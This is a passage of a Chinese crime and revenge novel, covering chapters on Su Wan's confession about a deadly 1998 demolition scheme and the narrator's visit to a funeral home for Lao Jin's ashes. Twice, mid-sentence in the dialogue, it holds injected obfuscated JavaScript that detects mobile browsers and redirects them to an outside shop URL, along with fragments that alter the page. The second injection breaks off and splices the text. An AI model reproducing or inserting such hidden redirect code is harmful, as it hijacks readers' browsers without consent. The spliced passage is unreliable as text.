照片下面有一行字:他们已经到了。 我把手机塞回口袋,加快脚步。街道两旁的店铺陆续亮起灯,橱窗里的商品在灯光下显得温暖而诱人。行人匆匆,有人下班回家,有人赶着约会,有人牵着狗散步。一切看起来都那么正常,那么平静。 但我知道,在这平静的表面下,暗流正在涌动。林涛在策划背叛,赵承德在准备清洗,苏晚在编织陷阱,而我,正在走向这个陷阱的中心。 每个人都在算计,每个人都在背叛,每个人都在为了自己的目的,把别人推向深渊。 这就是这座城市运行的法则。没有信任,没有温情,只有利益和利用。要么吃人,要么被吃。 我想起顾远曾经说过的一句话,那时我们还在大学,都还天真。他说:“沈默,如果我们以后变坏了,变得和那些人一样了,一定要记得提醒对方。” 我当时笑着问:“怎么提醒?” 他说:“就说‘你鞋带开了’。那是我们的暗号,意思是——醒醒,你看看你自己,变成什么样了。” 后来我们真的变坏了。或者说,被这座城市改造坏了。他进了大公司,学会了圆滑和妥协;我进了媒体,学会了睁一只眼闭一只眼。但我们从来没对对方说过“你鞋带开了”。因为我们都知道,说了也没用。在这个染缸里,要么被染黑,要么被淘汰。 现在顾远死了,再也不会有人对我说“你鞋带开了”。而我,正在主动走向更深的黑暗。 我走到公交站,等车。站牌广告上是远大集团的新楼盘广告,赵承德的照片在灯光下微笑着,旁边写着:“筑梦城市,温暖万家”。 车来了。我投币上车,坐在最后一排。车子启动,驶过繁华的街道,驶过顾远生前住的公寓楼,驶过老金烧死的那家酒店,驶过福利院,驶过这座城市所有藏着秘密和伤痕的地方。 窗外的灯火连成一片,像一条流淌的光河。很美,但我知道,这美的下面,是无数人的血泪和尸骨。也许我,即将成为这尸骨堆上,新的一具。 车子到站,我下车。回到出租屋,锁好门。我把文件袋和U盘藏在衣柜夹层里,然后坐在床边,看着窗外。 夜色深沉,没有星星。只有远处工地的探照灯,像一只巨大的、不眠的眼睛,冷冷地注视着这座罪恶之城。 明天下午两点半。陷阱已经布好,猎物正在入场。而我,既是猎人,也是猎物。 33. 裂痕 江水是这座城市唯一说实话的东西,它不说谎,不掩饰,只是日复一日地流,把上游的污浊带到下游,把昨天的尸体冲进明天的海洋。夜色里的江面像一块巨大的、打碎了的黑玻璃,倒映着两岸的霓虹,但那些光浮在表面,沉不下去。真正的江水在下面,黑暗的,冰冷的,裹挟着泥沙、垃圾、工业废水和无数个无人认领的秘密。 我站在江边的栏杆旁,手里攥着那个牛皮纸文件袋。袋子很厚,边缘已经被我的汗水浸软了。风吹过来,带着江水特有的腥味,还有远处码头传来的柴油机气味。对岸,“远大·滨江新城”的巨型广告牌亮着,霓虹灯组成的赵承德头像在夜色中微笑,下面是一行字:“为城市创造更美好的明天”。 美好的明天。我咀嚼着这个词,喉咙里泛起一股铁锈般的苦涩。 文件袋里的东西,我已经看了三个小时。从下午在图书馆旧馆拿到它开始——苏晚发来短信,只给了一个地址和时间,像地下接头——我就坐在阅览室最角落的位置,在日光灯惨白的光线下,一页一页地翻。 不是复印件,是原件。纸张泛黄,边缘卷曲,有些页面上有深褐色的污渍,像干涸的血迹。第一份是《“凤凰计划”拆迁户登记及补偿明细表》,1998年9月制表。表格用蓝色的复写纸誊写,字迹已经有些模糊,但还能辨认。 棉纺三厂家属区,共计住户317户,登记人口1246人。补偿方案一栏,密密麻麻地写着数字:按面积折算,每平方米补偿价380元;而同一时期,隔壁新建的商品房小区,售价是每平方米2200元。差额栏里,有人用红笔写了一个词:“政策差价”。 政策差价。四个字,吃掉了一千多个家庭半辈子的积蓄。 我往后翻。第二份是《拆迁工作推进情况周报》,日期是1998年11月。汇报人:赵承德(时任远大建筑公司总经理)。内容摘要:“本周完成强制拆迁14户,剩余23户中,有7户态度顽固,多次煽动其他住户对抗。建议采取重点突破策略,对带头者进行‘特殊处理’。” 特殊处理。这个词旁边,有人用钢笔写了两个小字,字迹很轻,几乎看不清:“已办。” 我翻到下一份文件时,手开始抖。那是一份《意外事件情况说明》,1998年12月5日。事由:“棉纺三厂退休职工金大年(男,61岁)在拆迁现场突发心脏病,经抢救无效死亡。”情况说明很简单,只有半页纸,说金大年“情绪激动,与工作人员发生口角后倒地”,120到场时已无生命体征。结论:“属意外事件,建议给予人道主义补偿金两万元。” 两万元。一条命。 文件最后附着三张照片。黑白照片,像素很低,但足够看清:第一张,一个老人躺在地上,周围站着几个穿制服的人,表情冷漠;第二张,老人的妻子跪在地上哭,旁边有个小女孩,大约五六岁,睁大眼睛看着镜头,眼神空洞;第三张,推土机正在推倒一栋二层小楼,烟尘滚滚。 我盯着那个小女孩的脸。虽然只有五六岁,但眉眼的轮廓,那种倔强的神态……我见过。在老金给我的全家福上,在他讲述往事时浑浊的眼睛里。 金卫国。老金的父亲。而那个跪在地上哭的女人,是老金的母亲。那个睁大眼睛的小女孩……是老金的妹妹?不,老金是独子。那可能是邻居的孩子,或者远房亲戚。不重要。重要的是,那一刻被永远定格在了这张发黄的照片上:一个人的死亡,一个家庭的崩溃,一个女孩童年的终结。 我继续翻。后面的文件越来越厚,也越来越触目惊心。 1999年1月,《关于苏建国一家“火灾事故”的调查报告》。苏建国,棉纺三厂技术员,是最后一批拒绝搬迁的“钉子户”之一。报告称,1998年12月24日晚,苏家居住的筒子楼因“电路老化”引发火灾,苏建国及其妻子当场死亡,女儿苏秀兰(14岁)严重烧伤,送医后不治。报告结论:“经调查,未发现人为纵火证据。” 但附件里有一份手写的值班记录,是当晚在拆迁指挥部值班的一个保安写的:“12月24日晚8点,赵总带三个人过来,让我去门口守着。他们在里面待了半小时,出来时身上有汽油味。9点左右,苏家那边就着火了。” 这份值班记录没有被装订进正式报告,只是用回形针夹在最后一页。写记录的人叫王志刚,1999年3月因“盗窃工地建材”被开除,同年5月死于一场“交通事故”,肇事司机逃逸。 苏建国。苏秀兰。 我想到苏晚。她从来没说过自己的全名。苏晚是她的真名吗?还是她后来改的?她和这个苏建国、苏秀兰是什么关系?姐妹?亲戚?还是……就是同一个人? 文件翻到最后几页,是一份名单。《“凤凰计划”相关“意外事件”涉及人员及处理情况汇总》。表格里列了十二个名字,每个名字后面跟着死因、时间、处理结果。死因五花八门:心脏病、脑溢血、交通事故、溺水、火灾、坠楼。处理结果清一色是:“一次性补偿,家属签署免责声明”。 而在表格最下方,用红笔画了一个大大的圈,圈住了三个字:沈建国。 我父亲的名字,死因栏写着:“交通事故,2001年7月15日”。处理结果:“肇事者醉驾,已判刑。无其他关联。” 但在这行字旁边,有人用不同的笔迹写了一段话,字很小,挤在边缘:“沈建国,《城市晚报》记者,死前正在调查‘凤凰计划’后续安置问题。曾多次向有关部门举报赵承德。车祸现场有目击者称,看到肇事车辆在事故前跟踪沈建国车辆超过二十分钟。该目击者后改口,称‘看错了’。” 这段话没有署名。笔迹很陌生,不是我父亲的,也不是我见过的任何人的。 我坐在图书馆的椅子上,看着这段话,看了很久。久到日光灯发出滋滋的电流声,久到窗外的天色从昏黄变成深蓝,久到管理员过来提醒闭馆时间。 我没有哭,没有愤怒,甚至没有特别的感觉。就像被人用钝器在胸口重重砸了一下,最初是麻木的,要过很久,疼痛才会慢慢渗出来,渗进每一根骨头里。 我知道父亲是被人害死的。这些年我一直知道,只是不愿意去证实。因为证实了,就意味着我必须做点什么,而我又能做什么呢?一个被行业封杀的摄影师,一个连房租都交不起的烂人,去对抗赵承德那样的庞然大物? 所以我选择了逃避。用犬儒主义当盾牌,用嘲讽当武器,告诉自己这个世界就是这样,好人没好报,坏人活千年,别太认真,认真你就输了。 直到顾远的死。直到老金的死。直到现在,看到父亲的名字白纸黑字地出现在这份死亡名单上。 我才明白,有些债,是逃不掉的。它会一代一代地传下来,从父亲传到儿子,从施害者传到受害者,从二十年前传到今天,直到有人用血来偿还。 所以我来了江边。苏晚约的地方。她到的时候已经是晚上九点。没有开车,步行来的,穿着一件黑色的长风衣,围巾裹着脸,只露出眼睛。江风很大,吹起她的长发,像一面黑色的幡。 “看完了?”她走到我身边,靠在栏杆上,看着江面。 “看完了。”我说。声音嘶哑,像砂纸磨过。 “什么感觉?” 我没有回答,反问她:“苏秀兰是谁?” 她沉默了几秒钟。江上的货轮拉响汽笛,声音沉闷,传得很远。 “是我姐姐。”她终于说,“亲姐姐。” “那苏建国——” “是我父亲。”她转过头,看着我。夜色里,她的眼睛很亮,像两点冰冷的火星。“苏晚不是我的本名。我本名叫苏小兰。姐姐叫苏秀兰,大我六岁。” 她解下围巾。江边的路灯照在她脸上,我第一次这么仔细地看她的脸——不是看她的美貌,而是看那些细节:左边眉骨上有一道淡淡的疤痕,鼻梁微微歪斜,像是断过又重新长好的,下巴的线条很硬,和她的妩媚形成一种诡异的对比。 “这道疤,”她指了指眉骨,“是火灾那晚留下的。姐姐把我从窗户推出去,她自己没来得及。我摔在楼下堆放的建筑垃圾上,钢筋划破了脸。后来被送到医院,脸上缝了十七针。” 她的语气很平静,像在说别人的事。 “我父母和姐姐的尸体,三天后才被认领。因为烧得太厉害,要靠DNA鉴定。赵承德派人送来五万块钱,说是‘人道主义救助金’。我舅舅——我母亲唯一的弟弟——收下了钱,签了字。然后把我送进了孤儿院。” 她顿了顿,从口袋里掏出一包烟,点燃一支。火光在她脸前一晃,照亮了她眼睛里某种坚硬的东西。 “我在孤儿院待了四年。十四岁到十八岁。那四年,我学会了三件事:第一,不要相信任何人;第二,美貌是武器;第三,仇恨是燃料。”她吐出一口烟,“十八岁生日那天,我离开了孤儿院。改了名字,做了点小手术调整了脸上的伤,然后去了‘夜泊’应聘。” “你计划了多久?”我问。 “十年。”她说,“从十八岁到二十八岁,我用十年时间,从一个端茶倒水的服务员,变成‘夜泊’的头牌,变成赵承德的情人,变成他最信任的‘红颜知己’。我陪他出席各种场合,听他吹嘘自己的发家史,听他讲‘凤凰计划’是他人生最得意的作品之一。每次他讲这些,我都要笑,要崇拜地看着他,要夸他真厉害。而我心里想的是,总有一天,我要把你从那个王座上拉下来,让你跪在我父母的坟前磕头。” 她说这话时,脸上没有任何表情。没有愤怒,没有悲伤,只有一种深不见底的冰冷。 “顾远的死,是你计划的?”我问。 “不完全是。”她摇头,“顾远是自己发现了公司的秘密。他太天真,以为可以凭一己之力揭发赵承德。他找到我,以为我是‘被压迫的女性’,以为我可以帮他。我利用了他,给了他一些假线索,让他去查一些无关紧要的东西,想让他知难而退。但他太固执,查到了不该查的——他发现了林涛在洗钱的证据。” “然后林涛杀了他?” “赵承德下的命令,林涛执行。”苏晚说,“顾远死的那天晚上,我在场。赵承德让我去‘安抚’他,让我套他的话,看他到底知道多少。我去了,顾远很警惕,什么也不肯说。我离开后不到半小时,他就‘跳楼’了。” 她弹了弹烟灰:“我知道他会死。但我没阻止。因为那时候,我的计划还没准备好。我需要更多时间,需要拿到更多证据。顾远的死……是必要的牺牲。” 必要的牺牲。这个词让我浑身发冷。 “那老金呢?”我的声音在颤抖,“他的自焚,也是‘必要的牺牲’吗?” 苏晚沉默了。她看着江面,很久没有说话。烟在她指间慢慢燃尽,灰白色的烟灰被风吹散,落入黑暗。 “金卫国……”她终于开口,声音很轻,“我认识他。在他去‘夜泊’找清洁工工作之前,我就认识他。两年前,我以慈善志愿者的名义去过福利院,见过他和金贝贝。我知道他的故事,知道他女儿的病,知道他走投无路。但我没帮他。因为我需要他。” “需要他什么?” “需要他成为一根导火索。”她转回头,看着我,眼神锐利如刀,“沈默,你还不明白吗?赵承德这种人是不会因为一两个证据倒台的。他有关系网,有律师团,有钱,有地位。普通的举报、揭发,对他没用。就像二十年前,我父亲和那些死去的人,他们的死有人管吗?没有。因为死得不够响,不够惨,不够让所有人看见。” 她的声音提高了,在江风中显得格外刺耳:“所以我要让一个人,在所有人面前,用最惨烈的方式去死。要让他的死成为一面镜子,照出赵承德脸上的血。要让所有人都看见,都记住,都不得不去问:为什么?为什么会有人宁愿把自己烧死,也要控诉这个人?” “所以你就给了老金汽油?就安排他混进晚宴?”我的拳头攥紧了,指甲嵌进掌心,“你就看着他去死?看着贝贝成为孤儿?” “我没有给他汽油。”苏晚冷冷地说,“我只是给了他一个机会——一个进入晚宴工作的机会。至于汽油,是他自己准备的。至于死,是他自己选的。我只是……没有阻止。” “那和亲手杀了他有什么区别?!” “区别在于,我没有碰他一根手指头。”苏晚靠近我,我们的脸几乎贴在一起,我能闻到她身上香水掩盖下的、淡淡的烟草味,“沈默,别摆出一副道德高尚的样子。你和我有什么区别?你明知道老金会做傻事,你阻止了吗?你答应照顾贝贝,不也是用她的未来,来安抚你自己的良心吗?我们都在利用别人的悲剧,来推进自己的计划。你是,我是,林涛是,赵承德也是。区别只在于,有些人承认,有些人不承认。” 她的话像冰锥,刺穿了我所有的伪装。我张了张嘴,想反驳,但发不出声音。因为她说的是对的。 我答应了老金照顾贝贝,但我真的能照顾她吗?我自己都活得像条丧家之犬。我查顾远的死因,真的是为了正义吗?还是为了安抚自己的愧疚——愧疚在他死前,我没有多关心他一点?我接近苏晚,真的只是为了真相吗?还是也被她的美貌和神秘所吸引,幻想着能成为拯救她的英雄? 我们都是烂人。只是烂的方式不同。 “你看。”苏晚退后一步,嘴角勾起一个嘲讽的弧度,“你也说不出话了。因为你知道我说的是真的。在这场游戏里,没有人是干净的。赵承德手上沾着我父母的血,林涛手上沾着顾远的血,我手上沾着老金的血——间接的,但依然是血。而你,沈默,你手上沾着什么?你父亲的?顾远的?还是……你自己的良心?” 江风更大了。对岸的霓虹灯广告牌闪烁了几下,赵承德的笑脸在夜色中明明灭灭。 “你给我的这些文件,”我举起手里的牛皮纸袋,“是完整的吗?” “不完整。”苏晚说,“只是‘凤凰计划’的部分。但我有完整的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016470|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——从1998年到现在,远大集团所有的黑账、贿赂记录、非法交易、人命官司。都在我手里。” “你从哪里拿到的?” “十年。”她重复这个词,“我跟了赵承德十年。这十年,我睡在他的床上,偷看他的文件,复制他的电脑数据,偷录他和重要人物的谈话。他把我当宠物,当花瓶,当可以炫耀的收藏品。他从来没想过,这个每天躺在他身边的女人,心里想的是怎么把他送进监狱,怎么让他身败名裂,怎么让他……死。” 她说“死”这个字时,语气很轻,但分量很重。 “那你现在打算怎么做?”我问,“把这些文件公开?” “公开?”苏晚笑了,笑声很冷,“公开给谁?媒体?赵承德控制着这座城市一半的媒体。纪委?你知道他每年‘孝敬’多少人吗?法院?他有全市最好的律师团队。公开,只会让我死得更快。” 她顿了顿:“不,我要用这些文件,做一场交易。” “和林涛?” “你知道了?”她有些意外。 “猜的。”我说,“林涛今晚没出现在医院,赵承德在找他。他这个时候消失,只可能是去找下家了。而能接住他的,只有天启集团。” 苏晚看着我,眼神里有了一丝赞赏:“你比看起来聪明。” “那你呢?你和林涛合作?” “暂时的。”她说,“林涛想借天启的手干掉赵承德,自己上位。我想借林涛的手,拿到赵承德更核心的罪证——那些涉及高层官员的部分。等赵承德倒了,林涛上去了,我再把那些证据抛出来,把林涛也拉下来。然后是天启集团,然后是所有和这件事有关的人……一个一个,都别想跑。” 她说这话时,眼睛里闪烁着一种近乎狂热的光。那不是正义的光,那是复仇的火,燃烧了二十年,已经把她整个人都烧空了,只剩下这团火在支撑着她。 “这一切结束后,”我问,声音干涩,“你能得到什么?” 她转过头,看着我,笑了。那笑容是我见过的最美,也最恐怖的笑容——美是因为她真的很美,恐怖是因为那笑容里没有一丝暖意,没有一丝属于人类的温度。那是冰山在月光下的反光,是刀刃在暗室里的寒芒。 “我什么都不要。”她说,声音很轻,像在说一个秘密,“我不要钱,不要权,不要名声,不要自由。我只要一件事:看着他们,一个一个,都下地狱。” 江上的货轮又拉响了汽笛。这次的声音更近,更响,像某种巨兽的哀嚎。 “包括赵承德?”我问。 “当然。” “包括林涛?” “当然。” “包括……”我顿了顿,“那些收了贿赂、包庇罪行、让这一切发生的官员?” “当然。” 她转头看向江面,侧脸的线条在夜色中显得格外锋利:“我要这座吃了我的父母、我的姐姐、还有无数个老金和他们家人的城市,付出代价。我要让所有人都看看,当你把一个人逼到绝路时,她会变成什么样子。” 风把她的长发吹起,露出脖子上一道浅浅的疤痕——也是烧伤留下的。在精致的妆容和昂贵的衣服下面,是满身的伤痕,二十年前那场大火留下的,永远无法愈合的伤痕。 “那你呢?”我问,“你下了地狱之后呢?” 她转回头,看着我,笑容更深了,深得让我心头发冷。 “包括你,”她说,一字一顿,“也包括我。” 我愣住了。江风在耳边呼啸,但对岸的霓虹灯、江上的货轮、远处的车流声,都突然变得很远,很模糊。整个世界只剩下她这句话,像一句咒语,一个判决,一个早已写好的结局。 “我们所有人,”她继续说,声音平静得像在念悼词,“都是老金那团火里,一粒即将烧尽的尘埃。区别只在于,有些人知道自己会烧尽,有些人不愿意承认。但结局是一样的——无声的呐喊,终究会归于沉寂。” 她伸出手,轻轻碰了碰我手里的文件袋:“这些文件,你留着。这是你父亲用命换来的真相。你有权知道。但知道了之后,你要怎么做,是你的事。继续查,你会死得比顾远更惨。放弃,你会活得比老金更痛苦。没有第三条路。” 说完,她转身,沿着江边的步道往回走。风衣的下摆在风中翻飞,像黑色的翅膀。 “苏晚!”我喊住她。 她停下脚步,但没有回头。 “贝贝……”我说,“金贝贝。她还那么小,她什么都没做错。” 苏晚的背影僵了一下。很久,她才说:“我知道。所以我才把这些文件给你。如果……如果最后我真的失败了,如果我也死了,至少还有人知道真相。至少那个女孩长大以后,能知道她父亲为什么而死。” “你就不能放过她吗?”我的声音在颤抖,“她已经没有父亲了,你就不能给她留一点希望吗?” 苏晚终于转过身。夜色中,我看不清她的表情,只听见她的声音,穿过风声传来,冰冷而决绝: “沈默,你还不明白吗?在这座城市里,希望才是最残忍的东西。因为它让你相信还有明天,让你挣扎,让你痛苦,最后还是要死。不如一开始就不要有希望。不如一开始就知道,地狱就在脚下,我们都已经在里面了。” 她顿了顿:“好好照顾那个女孩。如果……如果你真的还有一点良心的话。” 然后她真的走了,消失在江边的夜色里,像一滴墨汁滴进黑色的江水,瞬间就被吞没,不留痕迹。 我站在原地,手里攥着那个牛皮纸袋。江风吹得文件袋沙沙作响,像无数个死者在低语。对岸,赵承德的霓虹灯广告牌还在闪烁,笑容依旧灿烂。 我突然感到一阵彻骨的寒冷。不是江风带来的冷,是从骨头深处渗出来的冷,是从那些泛黄的文件里爬出来的冷,是从二十年前那场大火里蔓延至今的冷。 苏晚说得对。我们都在复仇,都在算计,都在用别人的命铺自己的路。赵承德如此,林涛如此,苏晚如此,我……又何尝不是如此? 我想为父亲报仇,想为顾远讨公道,想为老金做点什么。但每一次伸手,都让事情变得更糟。每一次靠近真相,都离地狱更近一步。我以为自己在对抗黑暗,但其实,我自己也正在变成黑暗的一部分。 这场游戏里,没有幸存者。只有早死和晚死的区别。 我低头看着手里的文件袋。牛皮纸在夜色中泛着暗淡的光。这里面装着二十年的罪恶,装着无数条人命,装着我父亲的死因,也装着我的未来——或者,没有未来。 江上的货轮第三次拉响汽笛。这次的声音更沉闷,更悠长,像最后的告别。 我转过身,背对着江水,背对着赵承德的霓虹灯笑容,背对着这座吞噬了一切的城市,慢慢往回走。 脚步很沉。每走一步,都感觉有什么东西在往下坠,坠进无底的黑暗。而我知道,这只是一个开始。真正的黑暗,还在后面。 34. 灰烬下的名字 殡仪馆建在城市北郊的山坡上,选址的人很懂风水——或者说,很懂活人的心思。要足够远,远到日常生活的视线之外;要足够高,高到烟囱里冒出的青烟能被风吹散,不至于飘回市区,提醒人们死亡的存在。但也不能太远太高,毕竟遗体运输、家属吊唁,总还要考虑交通成本。于是这个距离被精确地计算出来:距离市中心十五公里,车程四十分钟,刚好是一段足够让人心理上“出城”,又不至于太麻烦的路程。 我开着自己那辆二手丰田,沿着盘山公路往上爬。车是顾远生前帮我挑的,他说日系车省油,配件便宜,适合我这种收入不稳定的自由职业者。现在他死了,车还在,每次启动时引擎的异响越来越严重,像老年人清早的咳嗽。 今天是老金死后的第三天。 按照这座城市的规定,非正常死亡且涉及公共事件的遗体,需要完成警方调查、法医鉴定、家属确认等程序,最快三天后才能火化。我昨天打电话问过,值班人员用那种训练过的、不带感情的腔调说:“金卫国的遗体已经完成司法程序,可以火化了。请问您是家属吗?” 我说不是,是朋友。 “那请直系亲属来办理手续。”电话挂了。 我知道老金没有直系亲属了。父母早亡,妻子病逝,唯一的女儿未成年且在福利院。按法律规定,金贝贝是唯一有权决定父亲身后事的人。但她才十五岁,患有严重心脏病,福利院的工作人员敢让她来吗?敢让她看父亲烧焦的遗体吗?敢让她签那些冰冷的文件吗? 所以我来了。虽然我知道我没有法律上的资格,虽然我知道这很可能是白跑一趟。但我得试试。老金最后托付我照顾贝贝,那至少,我得让他有个安息的地方——如果骨灰也算“地方”的话。 山路两旁种着松柏,四季常青,据说是为了“安抚情绪”。但那些树长得太密了,枝桠交错,遮天蔽日,让整条路即使在正午也显得阴森。偶尔有送葬的车队驶过,清一色的黑色轿车,车头挂着白花,车速很慢,像一条无声的黑色河流,缓缓流向山上的焚化炉。 我跟着一辆灵车后面,保持距离。灵车是改装过的面包车,后窗玻璃贴着黑色的膜,看不见里面。但我知道里面躺着一个人,或者准确说,一具被化妆师整理过的、暂时看起来还像人的身体。再过一会儿,那具身体就会被送进燃烧室,在八百到一千度的高温中,肌肉、脂肪、器官、骨骼依次燃烧、碳化、碎裂。最后剩下一堆灰白色的碎骨,被工作人员用铁耙子扒出来,放进粉碎机,打成均匀的粉末,装进一个坛子或者盒子里。 这就是我们每个人的终点。无论生前是富贵还是贫穷,是善良还是邪恶,是赵承德还是老金,最后都会变成一捧灰。区别只在于,装灰的容器不同——有的用上等的青花瓷骨灰坛,刻着精美的莲花图案,存放在寺庙的灵骨塔里,每年清明有后人祭拜;有的用最廉价的复合木板盒子,连个名字都没有,放在殡仪馆的地下仓库,等到积攒到一定数量,就被统一倒进山里某个指定的“无主骨灰安置区”,和无数个同样无名的灰混在一起,再也分不清谁是谁。 老金会是哪一种,我很清楚。 殡仪馆的停车场很大,分区明确:A区给遗体告别厅使用,B区给火化厅,C区给业务办理。我把车停在C区,下车时闻到空气里有一股奇怪的味道——不是尸臭,殡仪馆的通风系统很好;而是一种混合了消毒水、香烛、鲜花和某种难以形容的、类似烧焦塑料的气味。这气味很淡,但一旦注意到,就挥之不去。 业务大厅像个银行的办事窗口。一排不锈钢柜台,玻璃隔断,下面有个小窗口传递文件。墙上贴着办事流程、收费标准、注意事项。电子叫号系统在运作,但等待的人不多,只有七八个,分散坐在塑料椅子上,每个人都低着头,表情麻木。大厅里很安静,只有空调的嗡嗡声和偶尔响起的叫号声。 我走到咨询台。台后坐着一个四十多岁的女人,穿着藏蓝色的制服,胸口别着工牌。她正在看手机,手指快速滑动,嘴角带着笑——大概在看什么搞笑视频。我站了十几秒,她才抬起头,笑容瞬间消失,换成职业性的严肃。 “办什么业务?” “我来领金卫国的骨灰。” “证件。” 我把身份证递过去。她看了一眼,在电脑上输入名字,敲了几下键盘,眉头皱起来。 “金卫国……非正常死亡那个?” “是。” “你不是直系亲属。”她抬头看我,“按规定,必须直系亲属本人持身份证、户口本、死亡证明原件来办理。配偶、父母、子女。朋友不行。” “他没有直系亲属了。”我说,“父母去世,妻子去世,女儿未成年,在福利院。” “那让福利院的人来。” “孩子有严重心脏病,福利院的人说不能让她受刺激。” 女人耸耸肩,那动作的意思是:这关我什么事? “规定就是这样。”她说,“我们也是按章办事。要不你去找街道、社区开证明,证明你是什么人,有什么资格来领。或者等法院指定监护人。” “那需要多久?” “快的话一个月,慢的话……不好说。”她又低下头看手机,“下一个。” 我站在柜台前没动。女人等了几秒,见我没走,又抬头,语气有些不耐烦:“先生,我跟你说了,有规定。你不是第一个这种情况,也不会是最后一个。我们这里每天处理几十具遗体,要是谁都来说自己是朋友、是亲戚,我们怎么管理?万一领错了,万一以后真亲属找来了,我们负得起责任吗?” 她说得有理有据,我无法反驳。这就是体制的可怕之处——它不是针对你个人,它只是执行规则。而规则本身是中性的,无情的,像一堵水泥墙,你撞上去,头破血流,墙连晃都不会晃一下。 “那他的骨灰现在在哪?”我问。 “在无主骨灰暂存处。”女人敲了几下键盘,“编号B-347。如果七天内无人认领,就按无主骨灰处理。” “怎么处理?” “统一安置。”她说得轻描淡写,“我们有专门的地方。” “我能看看吗?”我问,“就看看。不领走。” 女人盯着我看了几秒,可能是在判断我是不是来找茬的,或者是不是记者之类。最后她说:“等着。” 她起身,推开身后一扇铁门进去了。过了大约五分钟,她出来,手里拿着一张打印的纸条。 “去后面那栋楼,地下一层,找王师傅。给他看这个条子。”她把纸条从窗口递出来,“只能看,不能碰。看完赶紧走。” 我接过纸条。上面打印着:“准予探视。遗体/骨灰编号:B-347。有效期:今日。经办人:李。” 后面那栋楼比业务大厅旧得多,外墙的瓷砖很多都剥落了,露出里面灰色的水泥。楼门口没有标识,只有一扇沉重的铁门,漆成墨绿色,已经斑驳。我推开门,里面是一条向下的楼梯,灯光昏暗,空气中那股奇怪的味道更浓了。 楼梯尽头又是一扇铁门,虚掩着。我敲了敲,里面传来一个沙哑的男声:“进来。” 推开门,是一个很大的房间。与其说是房间,不如说是个仓库。一排排的铁架子从地面延伸到天花板,架子上密密麻麻摆满了骨灰盒。大部分是廉价的木盒,也有一些陶瓷坛子,少数几个看起来高级点的,用玻璃罩罩着。房间里没有窗户,只有几盏日光灯管,发出惨白的光。温度比外面低很多,估计是开了冷气——为了延缓骨灰盒里可能残存的有机质腐败? 一个穿着蓝色工装的老头坐在门口的小桌旁,正在吃盒饭。他抬起头,嘴里还嚼着饭菜,用筷子指了指我:“什么事?” 我把纸条递过去。他放下筷子,接过纸条,眯着眼睛看了一会儿。 “B-347……”他站起身,走到墙边,那里贴着一张巨大的平面图,图上用格子划分区域,每个格子都有编号。他用手指在上面找了找,“B区,第三排,第四十七号。等着。” 他穿过铁架子之间的过道,脚步声在空旷的房间里回荡。我站在原地,看着眼前这景象。成千上万个骨灰盒,整整齐齐地码放着,像图书馆的书架,只是架上不是书,是人最后的残留物。每个盒子上都贴着一张标签,写着编号、姓名、死亡日期。有些标签已经很旧了,字迹模糊;有些还很新。 这里很安静。绝对的安静。不是没有声音的安静,而是一种……被抽空了生命感的安静。你能听见自己的呼吸,能听见日光灯管的电流声,能听见远处隐约传来的、可能是火化炉工作的轰鸣,但就是听不到任何属于“活着”的声音。没有谈话,没有哭泣,甚至没有叹息。这里的一切都已经结束了。 老头回来了,手里拿着一个木盒子。很普通的原木色盒子,大概三十厘米长,二十厘米宽,十五厘米高。没有装饰,没有雕刻,就是六块木板用钉子钉起来,连油漆都没刷。盒盖上贴着一张打印的标签:“B-347。姓名:金卫国。死亡日期:2023年10月27日。火化日期:2023年10月30日。” 标签下面还有一行小字:“待认领。有效期至2023年11月6日。” 今天是11月2日。还有四天。 老头把盒子放在小桌上,继续坐下吃饭。他吃得很香,大口扒饭,夹菜,咀嚼。骨灰盒就在他的手边,离他的饭盒不到二十厘米。他对这景象显然已经完全习惯了。 “就是这个。”他边吃边说,“看吧。别打开啊,打开的话灰洒了,我们还得打扫。” 我走到桌前,看着那个盒子。它比我想象的要小。一个人的一生,所有的记忆、情感、痛苦、欢乐,最后就装进这么一个小盒子里。而且这个盒子还是最便宜的那种,木板很薄,我能看见接缝处粗糙的钉眼。 “就……这么一个盒子?”我问。 老头从饭盒里抬起头,看了我一眼,那眼神像在看一个外星人:“不然呢?想要好的?有啊,陶瓷的,大理石的,甚至还有镶玉的。得加钱。” “不是,我是说……”我不知道该怎么表达,“他……他是个人啊。” 老头放下筷子,用纸巾擦了擦嘴。他点起一支烟,深吸一口,烟雾在惨白的灯光下缓缓升起。 “小伙子,我在这干了二十三年了。”他说,声音还是沙哑的,但多了一点什么东西,像是疲惫,也像是某种看透一切的麻木,“我经手的骨灰盒,少说也有几万个。什么样的没见过?有全家破产跳楼死的,装骨灰的盒子是儿子用鞋盒改的。有孤寡老人死在家里一个月才被发现,遗体都腐烂了,火化后骨灰里还有蛆虫的壳。还有小孩子,夭折的,骨灰就一小把,装在那种装糖果的铁盒里。” 他弹了弹烟灰:“你这个……至少还有个正经盒子。虽然是便宜的,但至少是个盒子。你知道我们这每天有多少无主遗体吗?那些连盒子都没有的,火化完后,骨灰就用塑料袋一装,写上编号,堆在墙角。攒够一批,拉去山上,挖个坑,一倒,埋了。连个记号都没有。” 他指了指房间深处:“那边,C区,全是塑料袋装的。你要不要去看看?” 我摇了摇头。胃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我买一个吧。”我说,“中等价位的。” 老头点点头,从抽屉里拿出一本彩页图册,翻到其中一页:“这个,六百八的。仿白玉,上面刻莲花图案。可以刻名字,生辰卒日,再加一百。” 我看着图册上那个洁白的骨灰坛,做工粗糙,但至少看起来像样点。莲花图案是机器雕刻的,线条生硬,但总比光秃秃的木盒子好。 “刻名字。金卫国。生辰……我不知道。” “死亡日期总知道吧?” “10月27日。” 